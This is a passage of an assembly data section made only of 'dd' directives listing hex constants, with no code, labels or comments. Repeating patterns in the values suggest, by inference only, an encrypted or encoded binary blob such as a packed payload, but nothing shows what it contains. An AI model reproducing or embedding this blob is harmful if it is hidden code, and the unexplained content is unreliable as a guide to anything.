4432018Fh dd 1E9AC466h, 0D68529Dh, 99AC915Fh, 0AADAAE40h, 71636F28h dd 84BBE9E3h, 8FD63AC7h, 44249569h, 93521566h, 113FFC35h dd 84B31566h, 755CAB7h, 0E123B03Fh, 70B79076h, 98DB110Ch dd 14321566h, 3A50D1B2h, 0CD3DA5D9h, 4754E1F0h, 4B045C1Eh dd 22321DEFh, 13B51A66h, 0E8321566h, 54327D07h, 36DB1566h dd 0B9321566h, 997ACCCCh, 7FF069CEh, 0C28D5DA1h, 2C7D057h dd 0E8487D16h, 77FD9400h, 24B81A15h, 1E321566h, 883215E1h dd 0CD647466h, 26F49480h, 92321566h, 0BCB51188h, 50BB4942h dd 2FBE1A42h, 0F8321566h, 8832156Eh, 0F086C95h, 0EF8AC737h dd 7752150Ch, 84775DFh, 0B8538284h, 3B438099h, 5DB1282h dd 0B1321566h, 0C0154C83h, 0E4F05C9Ah, 3A60EDB6h, 7E1CB39Ah dd 0CD3AAC7Fh, 0C61468E3h, 1DB81A61h, 87321566h, 443213ECh dd 22BD1A66h, 46321566h, 167D2EFh, 19D89C9Bh, 0D9B97539h dd 706BE6E6h, 8839FD06h, 9C241566h, 99ACDB3Bh, 0A68D60C6h dd 88B71AE3h, 1E321566h, 3DE89400h, 25CD74EEh, 4CB14C42h dd 52B31A62h, 2D321566h, 113205E2h, 8839FC66h, 94271566h dd 55138EB7h, 0CB912A39h, 0D664FD59h, 55DB1566h, 6D321566h dd 3542EAD6h, 0BE6785Eh, 301B372Ah, 9ACC35A6h, 1EB7A106h dd 883217EFh, 25E49E66h, 22709F0Eh, 35069C66h, 85DBB893h dd 0E6321566h, 2481DC3Ah, 38FF7D0Fh, 0BCE9836Bh, 905BB763h dd 676162Dh, 0B38F4042h, 0A179C10Fh, 4BDB488Eh, 0E7321566h dd 0EFD90276h, 729ABA37h dd 0E36E15BCh, 0DA03C7F8h, 0E903D257h, 8821FC9Eh, 0D4321566h dd 594E22Dh, 37C968ADh, 5362FD1Bh, 0EC740E58h, 3EB9423Dh dd 15F69642h, 0C4497D9Ah, 78BB1566h, 223DFC42h, 4671566h dd 1B83729Bh, 0F247C4E4h, 0B6951769h, 0E4F2255Ch, 87CF60C8h dd 44320CE1h, 2226FC66h, 0ACD81566h, 0AE6F3DBh, 5E38D1DAh dd 69DD2E0Ch, 0E8721092h, 99DBC28Ch, 62321566h, 0F0220F3Eh dd 0CE444FC7h, 0A0B9FE14h, 0DF97FE72h, 0F8B97306h, 0E0B9E006h dd 0BCCD7407h, 80B34B42h, 22321562h, 11249569h, 99DB1566h dd 60321566h, 9972A272h, 5E945A14h, 0E74957ECh, 3C6EF6BCh dd 98DFAE7h, 0FEB373F5h, 8D3D591Dh, 83B3CA4Fh, 273D591Dh dd 3A8DD2E7h, 8EDB73F5h, 12321566h, 33B0467Eh, 0F0BB4444h dd 8836D4E7h, 0ADB11566h, 63E9262h, 35269C3Ah, 81874206h dd 1353EC39h, 331621E7h, 4B789165h, 8B23AB30h, 0B6035FE2h dd 9FB9E938h, 16D61B5Fh, 88B91A06h, 0B1321566h, 0DDCDAC07h dd 20CAEA99h, 3361E0A6h, 44321566h, 2E8BFEE7h, 0E2330051h dd 848BD6E7h, 47B80051h, 0A954753Dh, 1137FDB9h, 50E41566h dd 4BAC407Bh, 223215E8h, 21534F66h, 3C775AEh, 0FB657495h dd 5B500C81h, 0F72AD2E7h, 761B93FBh, 70CDE939h, 60694E1h dd 199925AEh, 0B1611EDh, 8C0711A2h, 423ABE56h, 11321E8Eh dd 0E1E96466h, 88EE384Dh, 18141F1h, 0F8CAF00h, 8AB91A39h dd 24321566h, 0CBF37407h, 858D756Eh, 0E957FBCEh, 4B52D457h dd 0A354C3D1h, 70CD4486h, 0E0B71A2Ch, 24CDEA99h, 22321B8Fh dd 0A4274866h, 0D2CA1D1Dh, 3D380831h, 97AF6DA5h, 9864740Ah dd 0D66A43A8h, 22C7759Fh, 7253DFEDh, 0E66B4D37h, 8DDB84B7h dd 5A321566h, 2E270FD1h, 4B162199h, 8736D1E5h, 443201E7h dd 223DFC66h, 67F81566h, 3EAE1DA9h, 6CE6C146h, 0B50D6671h dd 15DE9637h, 331609EFh, 44321566h, 21BBC667h, 0CFB3753Dh dd 9CAACC8Dh, 94B2E906h, 0CB5374FAh, 11321576h, 0AEB694A6h dd 49F90296h, 0B847B8D6h, 0A872D01Ch, 8836AD36h, 0AEB31566h dd 790E2722h, 0D3B3D767h, 0D30E2722h, 45BE1A3Eh, 0DB321566h dd 116DF60Eh, 0AC269C66h, 44321F8Fh, 0E5C04F66h, 4DE7ED7Fh dd 77C3498Ch, 0A020C4E3h, 0B7B9E061h, 16D607B7h, 88339D69h dd 7DCE1566h, 0C63620F3h, 7BB61A61h, 0E8321566h, 0C554A0D4h dd 436086A8h, 401601EDh, 49B3F4EFh, 44321562h, 2236D4E7h dd 1DB51566h, 77CA4942h, 0C76C3152h, 445211A2h, 70CBCBEDh dd 41851A06h, 1E537535h, 26DE9407h, 98321566h, 8C8D315Ah dd 45321566h, 91524A98h, 70524323h, 69DB743Ch, 0ADCDEA9Ah dd 22321577h, 8519DFD7h, 2C504DB8h, 0CCD35C7Bh, 0C483A5C7h dd 3506EA76h, 8CF6943Ch, 0B1321566h, 701621EDh, 0D3B3F7EFh dd 88321562h, 4436D7E7h, 36B51566h, 0F8524942h, 88321561h dd 2DB74958h, 4344F74Bh, 0F2B27507h, 0E91DA7B5h, 171619EDh dd 0E1B3F6EFh, 11321562h, 8836D6E7h, 58B51566h, 0CB524942h dd 11321577h, 467CAFFAh, 40418AFh, 0FA7B5766h, 0CE15BF70h dd 0E9F19E9Bh, 131611EDh, 0E5B3F2EFh, 11321562h, 8836D2E7h dd 78B51566h, 31DB4942h, 0BA321566h, 55B40498h, 0E3521B4Bh dd 0A59D2324h, 0CF82E01h, 0DF546B9h, 43D60E23h, 22321566h dd 1132048Fh, 35656F66h, 8A08EF6Eh, 2843725Bh, 0B6444743h dd 0DF522EEh, 43D6358Bh, 22321566h, 3588759Ah, 0EE6E10AAh dd 0C753E6EDh, 0C9CA41DBh, 953D1561h, 8832152Bh, 276AA06h dd 953D461Ah, 9F3D74BFh, 8832157Eh, 44209D69h, 2FDB1566h dd 0BC321566h, 0BDB983DBh, 0B2AAC4A9h, 6E77F535h, 0DA5288EBh dd 33D128Ch, 4432156Eh, 22B11A06h, 70321566h, 0E852C699h dd 22E4A269h, 4453CAEDh, 3B9FC5E7h, 61B7EA07h, 0AD35F17Ch dd 22321563h, 94A5C65Ah, 618F9694h, 2035F17Ch, 208C9769h dd 1ECB1566h, 883214E2h, 0C1F5E066h, 25D60F8Fh, 11321567h dd 6152E093h, 44321560h, 5CA9AD96h, 94BFD8D5h, 8FD9CC45h dd 28A759Eh, 43010BF5h, 1ADBC599h, 0DC321566h, 0D8386B26h dd 0FF12A05Eh, 0A4BF0AF1h, 8FD9EC42h, 3C8F989Fh, 0DA35F9E2h dd 11321D8Fh, 24CD6966h, 75C599D3h, 24F59434h, 3806FC73h dd 0E78C4391h, 0C55BDB54h, 0E90E7088h, 90E4E25Eh, 733C2FA8h dd 0AAB35B7Bh, 25615E88h, 0BE38FBE7h, 7F1BB6A4h, 0FD547538h dd 0EAB9A600h, 15DE9607h, 91629EFh, 5DA53162h, 0A368030Ch dd 7B2B828Ch, 9EBB1A70h, 0AD321566h, 22321577h, 44CFF697h dd 92468E98h, 186586D2h, 0DD7F6C0Ah, 288F9E51h, 6135F168h dd 4432156Ah, 640F724Fh, 0CF93BB8Ch, 0A23CE2A5h, 0BBCDEADFh dd 0E203E999h, 1132138Fh, 51E99466h, 15E20719h, 223215DFh dd 9BC31466h, 0AC3E9E67h, 4436D1E7h, 33DB1566h, 3C321566h dd 8EF9CFA1h, 0D60A2657h, 0B10D9A94h, 1C8ED456h, 8DB61A06h dd 0FF321566h, 20BE6D64h, 11309E69h, 0E9521566h, 0B8FA2507h dd 2233AF34h, 0C7331566h, 85BC1A3Ch, 0AD321566h, 2232156Eh dd 6B208CB9h, 1D77C6Bh, 0CFB52199h, 0E6B13162h, 973D7562h dd 88321565h, 4BEC9E00h, 223213E6h, 11BA1A66h, 0E9321566h dd 243AFCA7h, 2232058Eh, 693E4766h, 8C3FC27Ah, 0A9C6E616h dd 8E1977AFh, 9A6BE9A7h, 490374B9h, 44339469h, 68CB1566h dd 0EE7A9069h, 80DBEA99h, 0B7321566h, 6D015BFFh, 40A5DED7h dd 0C02EAB30h, 30034F9Bh, 7A6C1142h, 0EC7A0953h, 86B11A3Ch dd 24321566h, 0D12CDCE7h, 0D0B34DDFh, 9113E048h, 89B58007h dd 0EFB5C491h, 9C3D75F3h, 88321566h, 9393F4E7h, 1B53456Ah dd 0F5333CE3h, 41B61A61h, 4B321566h, 223214EFh, 0AE65E966h dd 0E79E5D7Eh, 3FB3D2E7h, 0C5F33E6Dh, 5EE5E262h, 0EB2BAD36h dd 83032D98h, 0ABF5943Eh, 98A1973Ch, 3B524A9Eh, 0B489731Ah dd 0E23974D2h, 11209069h, 4FCB1566h, 0A03F2CE3h, 22321461h dd 10BF1A66h, 74321566h, 0E85A4434h, 7B087464h, 2376D4E7h dd 61B374CBh, 3174208Bh, 0A335FCA7h, 39DFFC97h, 0D1F89C54h dd 23D2F7E7h, 0F8C5086Dh, 565BDFE7h, 42B34FACh, 29133BE0h dd 0E0B3FFB7h, 91034CA5h, 0E868C467h, 4437FC06h, 0B46F1566h dd 0F9306C0Dh, 88321572h, 986B8D1Ch, 9D4F32DEh, 12A02EA9h dd 1D33209Bh, 6DAF38F4h, 9C8C743Fh, 707FCE65h, 88389E69h dd 41DB1566h, 9E321566h, 2E2581E4h, 31547507h, 0C089BBCBh dd 4378165Ah, 8C665EDFh, 69B35440h, 55546155h, 5648AD36h dd 0D0037E41h, 9FDB943Eh, 0C5268517h, 1AAFAF8Fh, 4263EC4Ch dd 0D87D4EDDh, 40D9D434h, 6BC1D6E7h, 0C8BB29FAh, 79B35C3Dh dd 2C1FD997h, 2D6BDFEFh, 11320CEBh, 8826FC66h, 0EE9A1566h dd 8A235DBFh, 0D609D71Ah, 0B9D2AA2Eh, 3421E0A3h, 429F6F0Eh dd 9696AD00h, 7B8CAD00h, 0AD879C07h, 0CB35F17Eh, 11321569h dd 4819B395h, 2F5C1817h, 7A245317h, 1E44FCCCh, 883214E3h dd 2C61E066h, 82D794Eh, 13D9D43Dh, 49CDD6E5h, 0AFB3178Dh dd 2093E3A4h, 4ACE4BEFh, 66DC289Eh, 0C13DFB88h, 223215E4h dd 63ED9506h, 3BA8D7E7h, 0C5530944h, 0FFEFC858h, 7AB71ABBh dd 71321566h, 0CD36F9E5h, 228A3162h, 98321566h, 61524D60h dd 44321563h, 97E4C2F9h, 43677498h, 883211DCh, 1EE79C66h dd 0DB6FFB67h, 9DBA0EFh, 0C3D1282h, 4432156Eh, 22309969h dd 70521566h, 88389F69h dd 4B521566h, 223215E5h, 70ED9E66h, 881F468Fh, 0A5DBED66h dd 2DCDEA98h, 113219EFh, 8EB91A66h, 4B321566h, 223215EFh dd 0A5AE966h, 1321516h, 83BB315Ah, 2D6DEEEFh, 113201EDh dd 86B21A66h, 0AD321566h, 2232156Fh, 0A1B63E3Ch, 89B22FCh dd 7DB726C2h, 0CB35F16Bh, 1132156Eh, 0F4861861h, 4209B6C8h dd 2232078Fh, 0B4C74A66h, 0D16C80C3h, 0DEFC944Ch, 0D343A983h dd 0D087C838h, 0DDCE16AEh, 202D21DBh, 7FDA1405h, 251FC54Fh dd 70517179h, 4B22D5A7h, 223202E1h, 1120FC66h, 11951566h dd 25C716ACh, 300701D4h, 81A52D38h, 4CBEC13Eh, 4ADBDD57h dd 0FE321566h, 0A5A6FC7Eh, 7076C943h, 2907E430h, 31BD1AE9h dd 1E321566h, 883218E5h, 443AFC66h, 0FC9A1566h, 78A50E2h dd 15BBC92Ch, 43D6185Fh, 2232108Fh, 6776B766h, 880F6DF7h dd 4B321466h, 2233D6E5h, 0AB547566h, 3754AFFCh, 0AD5358EBh dd 2232156Fh, 0ABEEC6D5h, 0A16C30E8h, 0FF0C94DEh, 2D89AEDDh dd 11338AE3h, 8835FC66h, 9BC1566h, 43BE4A28h, 0AB60EDCDh dd 0B03B12F6h, 44F09424h, 0D574153Ch, 83F094B4h, 14C1C07h dd 60269E70h, 2236D1E7h, 79CE1566h, 883274DFh, 0FE1601EFh dd 22321562h, 7168C367h, 98BB1A9Ah, 0AD321566h, 2232156Dh dd 1CB5A0AFh, 6003B852h, 25EC5592h, 3ADBA0EFh, 933D1282h dd 88321561h, 44339569h, 0DACA1566h, 5AB88EDh, 9521282h dd 61EA08BDh, 74627442h, 113215D8h, 0D6C29C66h, 4CB9CD67h dd 0AB61EC3Eh, 9AE89CA5h, 4CB1317Ah, 0FC547562h, 953D055Bh dd 0F85274B4h, 88321576h, 0F01CC184h, 0D0582EA1h, 84794BD1h dd 0C066EBC2h, 21D67D9Fh, 2EBB1566h, 98E39C42h, 87524CAEh dd 443213ECh, 22B51A66h, 77321566h, 0E94E04D8h, 0B5B37306h dd 0C3B3FB35h, 49200D4Eh, 75B73E07h, 0AD35F14Fh, 2232156Dh dd 41739AD2h, 51C1D61Ch, 85F120C1h, 2D521786h, 113216E6h dd 47B97366h, 49DB7493h, 3C321566h, 0F4C535A9h, 3603BED1h dd 17666206h, 3AE79065h, 923D1282h, 8832157Bh, 94B37306h dd 33DB4983h, 91321566h, 9F00ADC7h, 0A0A35F7Bh, 0F9BCFFBh dd 64159544h, 0B9C22407h, 0B1C224A0h, 26B91ACBh, 71321566h dd 0DE537406h, 6821E7D8h, 0D4B35314h, 23EB2DB4h, 896CE54Fh dd 6F1310AEh, 31DB5593h, 0DC321566h, 372D0AD9h, 0F3CA4ED7h dd 9804B2A2h, 4C527126h, 0CCBB7660h, 25CB0942h, 20FFFC9Eh dd 1CDB1566h, 11321566h, 82C42D3h, 0AC4DF009h, 6848B376h dd 9D59C31h, 443211A1h, 26DD9666h, 4D1629E1h, 711619EFh dd 4453E00Eh, 6269C66h, 11321A8Fh, 0E581266h, 0DC5B43C6h dd 4D399A78h, 72A62B0Ch, 3CEDC57h, 0A01468F3h, 25BF1A61h dd 1E321566h, 883214E4h, 4609E966h, 22939169h, 0E8521566h dd 953CDEDh, 4432118Ah, 6069C66h, 113211D8h, 0D6C01466h dd 443A9269h, 0A53D1566h, 11321564h, 30627406h, 17FE5A19h dd 0EE7D6B4Bh, 49F31435h, 88339B69h, 7FCE1566h, 0C63620EBh dd 0A2B71A61h, 87CDEA99h, 443212E5h, 7C637566h, 70FD9E00h dd 0F07FAE35h, 0AFF32D84h, 0D1B35E62h, 12BC32E5h, 6169CDEFh dd 44321577h, 7445476Ah, 0ACF139A0h, 9DA1273Ah, 77F2C86Dh dd 0C5BF98FFh, 1E35F129h, 883214ECh, 0A5CDE966h, 2222FC06h dd 0E5A1566h, 3B8C9768h, 0E7992CEBh, 56638040h, 98534FEEh dd 6C20C4EBh, 70CDE961h, 0E6B14F42h, 1139FC62h, 600C1566h dd 56CB4D7Dh, 5EA684FCh, 353E9EE8h, 9D79C33h, 443211A3h dd 26F79466h, 96321566h, 616E314Ah, 44321568h, 0BC6EDC89h dd 34A6BD9Fh, 2D098D9Ah, 0CD61B30Dh, 26F19485h, 92321566h dd 94B5118Dh, 70BB4942h, 0A33D7542h, 11321564h, 8B83D6EDh dd 0DDAF9E07h, 0CB35F172h, 11321576h, 1220EC3Eh, 0CA4E81F7h dd 6F3F83F1h, 0ACDB76ADh, 8CB32699h, 5127D942h, 63E9E18h dd 1136D1E7h, 61B31566h, 3A2700AAh, 0F3B79E9Eh, 1E35F174h dd 88321BEFh, 443BFC66h, 97EE1566h, 39E034DAh, 59DA6E33h dd 57DA7586h, 17321566h, 7DB9FE2h, 0E3ED30AFh, 62B20ED6h dd 69E744C2h, 90540E9Ch, 0D26BD288h, 44379069h, 88C1566h dd 7058D905h, 0AE579065h, 0C13D1282h, 22321561h, 11339C69h dd 0B9CA1566h, 49BB1A90h, 0CB321566h, 1132156Eh, 0AB710443h dd 995FB6EEh, 26B94336h, 15F69642h, 8821FC38h, 23F11566h dd 1FC59D81h, 33413930h, 0DBB68970h, 0E1419028h, 0CB9F73F5h dd 11321563h, 0BBBB91C4h, 45B71A16h, 0DE321566h, 7130F5A7h dd 8832058Fh, 0D595D066h, 6BAEE479h, 0F03B9144h, 6EAE4DAEh dd 25C29EB3h, 3AE79065h, 933D1282h, 8832156Ch, 44BA1A06h dd 0A9321566h, 0E103749Dh, 7803D357h, 44321E8Fh, 0B3ECAA66h dd 0D6DFA7F6h, 0D524107Ch, 175275CBh, 0ED8D1A39h, 0B5D1AD07h dd 8D534115h, 1B502748h, 821B763h, 3CFA145Fh, 0B11806C4h dd 26003B4Bh, 2AB41A39h, 1E321566h, 883217E7h, 0CF537566h dd 0AB653152h, 15F59481h, 0B321566h, 78B511A1h, 0A1CB4942h dd 0F510B8DBh, 0C3D1461h, 443215D5h, 0BFBF2E9Ah, 1E35F167h dd 8832B3E2h, 0CD3DE066h, 2232156Ah, 11349369h, 43D1566h dd 44321566h, 3FD3985Dh, 953D1282h, 883215E1h, 443A9B69h dd 0A13D1566h, 11321564h, 5097406h, 43D61887h, 225F9169h dd 973D1566h, 88321574h, 4432188Fh, 72F1C466h, 1889180Ah dd 0D76DC248h, 0D9BFDD31h, 25DE43B5h, 0C9851A06h, 8839FC35h dd 15FE1566h, 0BC24B18Bh, 26ECF8D5h, 77534BEBh, 45BC1AB5h dd 0DA321566h, 44F79C33h, 30524839h, 3C95500Ah, 0A7BB749Eh dd 16D637C7h, 0A95FFC9Ah, 54DB1566h, 0B8321566h, 63D9EE96h dd 0DDB8BD79h, 89848643h, 0AF7396D1h, 0FD64C6FBh, 8838FC61h dd 9F1C1566h, 6F6E134Ah, 6B0ADE22h, 0E8C7C699h, 0DA5805DCh dd 0EAFF9578h, 0BC8F9607h, 8835F144h, 446E9169h, 44521566h dd 2A53DFEDh, 6C21D8E3h, 70B61A61h, 2D321566h, 11321AEDh dd 8838FC66h, 7171566h, 0A7C2B171h, 13B9A0C3h, 9718AB06h dd 7F533C8Bh, 0C61CECE3h, 32B71A61h, 0E8321566h, 0FF89400h dd 5B2CAD95h, 0F853175Fh, 77CDEA54h, 443E9269h, 0A83D1566h dd 11321560h, 88329D69h, 0C1091566h, 25D607E7h, 11539069h dd 93D1566h, 44321567h, 378F969Eh, 1135F146h, 88279169h dd 0C7C71566h, 0C638D0DBh, 953D1561h, 88321559h, 44339B69h dd 0AFCB1566h, 0FAE888E3h, 8826FC61h, 0E6B81566h, 0E8B077F0h dd 0C0D4F538h, 21AABFB7h, 16C41C15h, 0E5DB514Fh, 0F8CDEA98h dd 88321569h, 261FFCD5h, 0F31D9241h, 39C489Eh, 0B3715B8Fh dd 0A02094E3h, 85B61A61h, 0F8CDEA98h, 8832156Fh, 0EF946616h dd 651C2CF0h, 298F96F1h, 8935FE9Eh, 445D9069h, 31DB1566h dd 0D3321566h, 0D2776BB3h, 815D39F4h, 9B813F45h, 59D39CF4h dd 0D09986Fh, 43D9ED0Ah, 22799069h, 993D1566h, 8832157Fh dd 4432018Fh, 0D98A4566h, 0FF4F31B5h, 0B16C60EFh, 0E0A24640h dd 0BEE166EDh, 0F5B798F5h, 61324C6Dh, 44321575h, 0E07304F5h dd 889528E8h, 0E9C716ACh, 560701D4h, 0D7A52D38h, 0EECC5E8Fh dd 4AB37599h, 632CB6A6h, 0CBCD2407h, 11321560h, 3D402C64h dd 0F9B1EC14h, 25D6367Bh, 2B61A66h, 61321577h, 44321575h dd 8D6C66CEh, 26A9DA79h, 0B17F2E26h, 4300DD8Dh, 0DE1AFA64h dd 0E96A905Dh, 0D3D128Dh dd 4432155Ah, 2232058Fh, 294B0466h, 0B73C670Eh, 0DCB2983Eh dd 0CAF58E19h, 50B79E5Ch, 7D35F164h, 4433AF34h, 0F5331566h dd 1120FC3Ch, 27BE1566h, 3C8D05DBh, 61153BBFh, 8CFB2BFFh dd 61CDB4Bh, 0BC52905Dh, 0A73D128Dh, 11321532h, 88269869h dd 4BDB1566h, 2C321566h, 9E35F0A1h, 0FE0F429Ch, 0BF579F3Eh dd 0A7B97368h, 16D61057h, 88321A8Fh, 96F87B66h, 92B567E5h dd 22E587C1h, 5308FC60h, 0BB8B449Eh, 0BCDEA99h, 0DB4CA9h dd 38321566h, 1E6FD904h, 3AB09DCh, 0AC6B3E63h, 86B2668Ch dd 0BC6E905Dh, 0A73D128Dh, 11321559h, 0ADB79E93h, 4B35F14Bh dd 22320DEDh, 1121FC66h, 0F6341566h, 7507B816h, 5351866h dd 375742F4h, 49DE27D1h, 4EB81A46h, 42321566h, 0AAF5A269h dd 0D9F5F360h, 0BB8B4407h, 0BCDEA99h, 2ACE4CA9h, 63CA71E3h dd 8B71A61h, 2D321566h, 113219E5h, 8EB51A66h, 4B321566h dd 223215E2h, 48B79E66h, 6135F173h, 4432156Ch, 31C9EDE9h dd 246FDC98h, 0DEC7A987h, 443214D8h, 7CC51466h, 11279969h dd 98DB1566h, 0EE321566h, 82FD8B5Ch, 949F555Fh, 52214276h dd 7F2D6B29h, 0C9CA7DE3h, 0FB71A61h, 0E8321566h, 0B1EAFDE6h dd 0A7B9E907h, 16D613ABh, 898B449Eh, 45321566h, 0A43D4CA9h dd 11321567h, 0E4B72E9Ah, 4B35FE9Eh, 223256E3h, 19B61A66h dd 87321566h, 443217EFh, 0A9537566h, 0F53010E3h, 80B31A61h dd 24321566h, 0A2EAA269h, 4253BE80h, 883214DDh, 1FED1466h dd 2232068Fh, 0C7DA4666h, 0FF43BF56h, 8B52BC9h, 0D3B26960h dd 142946D9h, 7042905Dh, 0C13D128Dh, 22321549h, 1EEA9F06h dd 883210EAh, 6EE9AD66h, 0A95307DAh, 0F51014E3h, 82B01A61h dd 0AD321566h, 22321563h, 22472904h, 898C435Ah, 45321566h dd 19CA4B91h, 0FACA61E3h, 0BEB71A61h, 0BD321566h, 2D6F90EDh dd 71521282h, 62A7AB00h, 28C49400h, 0D0B37447h, 62F59FF2h dd 8CB14207h, 246D1442h, 22321A8Fh, 73E56E66h, 8151BE1Fh dd 0F90B4260h, 0F3970C6Ch, 69B72E07h, 8735FE9Eh, 443259E3h dd 223FFC66h, 3331566h, 0CACE72D4h, 0FECFB30Bh, 0A99295A3h dd 0F51564E3h, 8835FC61h, 18721566h, 39D1B281h, 3DB342D3h dd 77CDEA42h, 22524A99h, 0CB60CAEDh, 11321575h, 0E72099BCh dd 333750ADh, 0ADF3E005h, 0B1C17F2h, 0D358DFF0h, 38B72E07h dd 2D35FE9Eh, 113243E3h, 9ADB7566h, 30321566h, 0CC667102h dd 0D9D80564h, 0F5B76D7Dh, 0BB065223h, 2239FDB2h, 4B841566h dd 2A585E03h, 8F2F0BD0h, 0A9534A75h, 0F517E8E3h, 3062EC61h dd 0BBCDEA99h, 426AD24Fh, 1132048Fh, 29BD0166h, 487F218Bh dd 73110F3Bh, 0FF22933Ch, 36542B60h, 7F53444Ah, 0C9CA91E3h dd 22B71A61h, 61321566h, 44321563h, 1AC254C9h, 4B79ECFh dd 7435F179h, 16BBAD36h, 0C2F32885h, 0C1C55560h, 0D58C3826h dd 8333924Dh, 0A73D753Eh, 11321565h, 3FC9E00h, 0C109749Eh dd 25D9EDE6h, 11789069h, 87521566h, 0FA54DCD1h, 0A153BEB6h dd 0F51CC8DBh, 0D3D1561h, 44321552h, 2239FC9Ah, 59181566h dd 0DED23BEEh, 0B02FA4CFh, 17B79E01h, 7135F169h, 8832128Fh dd 13D30B66h, 0EA3C508Ch, 5B3586D9h, 36647414h, 0BBCDEA99h dd 0DA6CE24Fh, 1C47A8E5h, 87321282h, 443274E2h, 23BD1A66h dd 0E8321566h, 713E905Dh, 0C13D128Dh, 22321528h, 11359669h dd 73D1566h, 44321567h, 34B41A9Ah, 71321566h, 88321A8Fh dd 0CAABA666h, 0C5A2196Ch, 8884E2BDh, 6680D6CDh, 0F5B79E07h dd 0CB35F14Bh, 11321576h, 0D1273C43h, 0F7831211h, 27D329E8h dd 22C818Dh, 77CDA833h, 0AB1BEA99h, 9FB1ED3Bh, 16D6383Bh dd 0E1B61A66h, 24321564h, 2DDBED06h, 0E2321566h, 6453F2A0h dd 0A9296E78h, 97F876B0h, 77530A5Ch, 3580FEE7h, 458F9607h dd 2235F16Fh, 130C9169h, 9CDB1566h, 85321566h, 67108587h dd 6380CAD0h, 0E2D6546h, 0BF2ABB25h, 1908D615h, 0FACAE5E3h dd 0C2B71A61h, 0B8321566h, 5A390EDh, 1ADB1282h, 13321566h dd 5658CEFAh, 0F96A084Bh, 0AB604840h, 88321567h, 0AD68C267h dd 22321563h, 7323579Eh, 0B3D7505h, 44321564h, 33DBC3EDh dd 0FD321566h, 0B2EFC03Dh, 0B5D26A91h, 7D870479h, 0A58EC78Bh dd 88B72E07h, 4B35FE9Fh, 22320DE3h, 94B9EC66h, 8FD60E43h dd 17ED929Fh, 79161199h, 903DCAE1h, 88321567h, 0B0B72E9Eh dd 2D35FE9Eh, 113241E3h, 0DB9ED66h, 43D62483h, 2226FD06h dd 0F45C1566h, 5F1FE9AEh, 53786632h, 0C3FEF303h, 0E9FEBAD3h dd 59B26EE8h, 4FDB4E07h, 4E321566h, 0AE5DD34Dh, 7F17A4A7h dd 0BC538536h, 2233AE35h, 0CE331566h, 883DFC3Dh, 0CB031566h dd 0D0AE31E2h, 0F27DE0CFh, 0D3420965h, 40B72E4Fh, 2D35FE9Fh dd 11325BE3h, 36547566h, 0A2B241D9h, 2D5274B1h, 113215E4h dd 0E9C99E66h, 517390EDh, 2DDB1282h, 60321566h, 6F9988C1h dd 0C9199CEAh, 13CD62A7h, 0FDB1EDCCh, 0AC0E9C62h, 1B161199h dd 2232078Fh, 2E1DC066h, 27305215h, 4D0BDE35h, 3F38CC6Ah dd 2AF5EFF9h, 63CB1DE3h, 2CB71A61h, 2D321566h, 11320FEAh dd 9CB61A66h, 0AD321566h, 22321569h, 29683E96h, 16843735h dd 3B5C8CB5h, 0A9FCD2F7h, 0F527F8E3h, 89BF1A61h, 0BC321566h dd 0DBB97306h, 11329269h, 0DA531566h, 575085DCh, 0D0B35F38h dd 4F2177E8h, 6168C267h, 44321577h, 667F4960h, 0A482DADh dd 1781E5A4h, 0CFB06856h, 26BC1A87h, 71321566h, 0B3537406h dd 0AFCAEDE3h, 6FB71A61h, 1E321566h, 88321BE7h, 85B97566h dd 2232108Fh, 10442166h, 7053AF36h, 5D3790EDh, 32DB1282h dd 0F7321566h, 0D209C2CCh, 54596ACEh, 342B887Bh, 0E944BB5Fh dd 883DAC37h, 85B30568h, 40802FD1h, 0E6D3C42Fh, 79B35CB7h dd 5E4D9F13h, 0DA6BDA67h, 0E9CE905Dh, 0D3D128Dh, 4432157Eh dd 2DFD9E06h, 9A53DAD1h, 6C245CE3h, 0FC62E061h, 22321567h dd 0E96AD267h, 8133A8E5h, 4B321282h, 22386CE2h, 4252E066h dd 0E930CEE7h, 4B6B1D90h, 223217EAh, 70537566h, 70BA905Dh dd 0C13D128Dh, 2232152Bh, 68B79E9Ah, 8735F149h, 44321FEEh dd 0A3547566h, 1E56A380h, 0D853D5D1h, 0CC539DDEh, 647B307Ch dd 247A4E1Ah, 0BFF47D28h, 0A7585763h, 4F441061h, 0D633DF28h dd 8821FC3Eh, 8AF1566h, 0A902E8D2h, 1AC758D9h, 0C2DED89Bh dd 8B8603ACh, 3EB72E80h, 1E35FE9Fh, 883249E3h, 56DB7566h dd 98321566h, 3480CD53h, 4A4D1C2Ch, 8FB3648Ah, 3FB74DA1h dd 12B61A06h, 87321566h, 0CF53CED9h, 0C6272CE3h, 0AB60E961h dd 0E5866221h, 6878D7E7h, 0F0C56467h, 0E3B3C791h, 0C95F1282h dd 0AEB3C791h, 42154EEFh, 1E68C267h, 883219ECh, 42BF1A66h dd 2D321566h, 113215E8h, 4B72E66h, 4B35FE9Eh, 223233E3h dd 19B91A66h, 87321566h, 443217E6h, 0A9537566h, 0F531CCE3h dd 0D0627561h, 68D5AC00h, 0DD8B4407h, 38CDEA99h, 0B3CA4CA9h dd 0AFCA85E3h, 6EB71A61h, 1E321566h, 883212EBh, 45B71A66h dd 0DE321566h, 4C790EDh, 9ADB1282h, 0FA321566h, 0A482D582h dd 0C680B728h, 579C95B5h, 6C4A5D1Ch, 9860E9BDh, 0DD134A9h dd 9809D7E7h, 857853A4h, 0D0B3128Ch, 7869603Eh, 4AF09424h dd 6DA476A6h, 19CA4FB1h, 0FACA81E3h, 0DEB71A61h, 0B8321566h dd 2CAF90EDh, 0F8521282h, 8832156Eh, 2FACEB68h, 7B85E667h dd 975FAD00h, 3163ED07h dd 30F42B28h, 6AD39427h, 0E64DC055h, 8BD3D4BFh, 75BF4E7h dd 0D3B33D76h, 19225427h, 876BDA67h, 443201E9h, 223DFC66h dd 15A31566h, 0CFFDEEE2h, 0DA2B8098h, 0CE75388Ah, 89B72EE2h dd 8735FE9Eh, 443274E3h, 223AFC66h, 0E1001566h, 0DDEBB4A5h dd 0F9B11D94h, 25D63BBBh, 56B71A66h, 87321566h, 44320CEBh dd 0C8B37566h, 247BB345h, 88321E8Eh, 5A9E6766h, 351135DDh dd 0C4D379E2h, 0DB9743Ch, 43D61E47h, 223E9B69h, 963D1566h dd 88321560h, 44329269h, 9A621566h, 11321567h, 876AD267h dd 443214E8h, 0A709E066h, 16D9EDFAh, 881A9069h, 0CFCA1566h dd 0C61DD0E3h, 0A962ED61h, 77CDEA99h, 4B6AD24Fh, 223204E6h dd 113EFC66h, 0DB661566h, 0DDD648B8h, 88B1DF7Fh, 94090884h dd 8FD9EDC6h, 44699069h, 